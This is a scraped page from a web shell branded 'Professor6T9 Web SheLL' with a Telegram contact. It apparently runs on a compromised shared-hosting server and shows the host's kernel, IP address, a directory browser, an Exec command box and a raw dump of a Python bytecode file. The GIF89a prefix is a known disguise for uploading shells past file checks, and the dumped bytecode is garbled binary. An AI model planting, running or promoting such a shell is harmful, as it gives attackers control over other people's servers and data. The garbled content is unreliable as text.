GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
charset_normalizer
/
__pycache__
[ HOME ]
Exec
Submit
File Name : legacy.cpython-311.pyc
� � h8 � � � d dl Z d dlmZmZmZ ddlmZmZmZm Z ddl mZ ddlm Z mZ dedeeeeeef f fd �Z G d � de � � Z G d� d e� � Z G d� de� � Z G d� de� � ZdS )� N)�Dict�Optional�Union� )� from_bytes�from_fp� from_path� normalize)�CHARDET_CORRESPONDENCE)�CharsetMatch�CharsetMatches�byte_str�returnc �� � t | t t f� � s/t d� t | � � � � � � �t | t � � rt | � � } t | � � � � � }|�|j nd}|�|j dk r|j nd}|� d|j z nd}|�|dk r|j r|dz }|t vr|nt | ||d�S ) a� chardet legacy method Detect the encoding of the given byte string. It should be mostly backward-compatible. Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it) This function is deprecated and should be used to migrate your project easily, consult the documentation for further information. Not planned for removal. :param byte_str: The byte sequence to examine. z4Expected object of type bytes or bytearray, got: {0}N�Unknown� g �?�utf_8�_sig)�encoding�language� confidence) � isinstance� bytearray�bytes� TypeError�format�typer �bestr r �chaos�bomr )r �rr r r s �P/opt/cloudlinux/venv/lib64/python3.11/site-packages/charset_normalizer/legacy.py�detectr# s � � �h��E� 2�3�3� �� ��&��h���(�(� � � � �(�I�&�&� #���?�?���8���!�!�#�#�A��]�q�z�z��H��]�q�z�Y�/F�/F�q�z�z�B�H�"#�-��q�w���T�J� �}��W�,�,���,��F��� �1�1�1� �H� #�H� -�� �� � � c � � e Zd ZdS )�CharsetNormalizerMatchN��__name__� __module__�__qualname__� r$ r"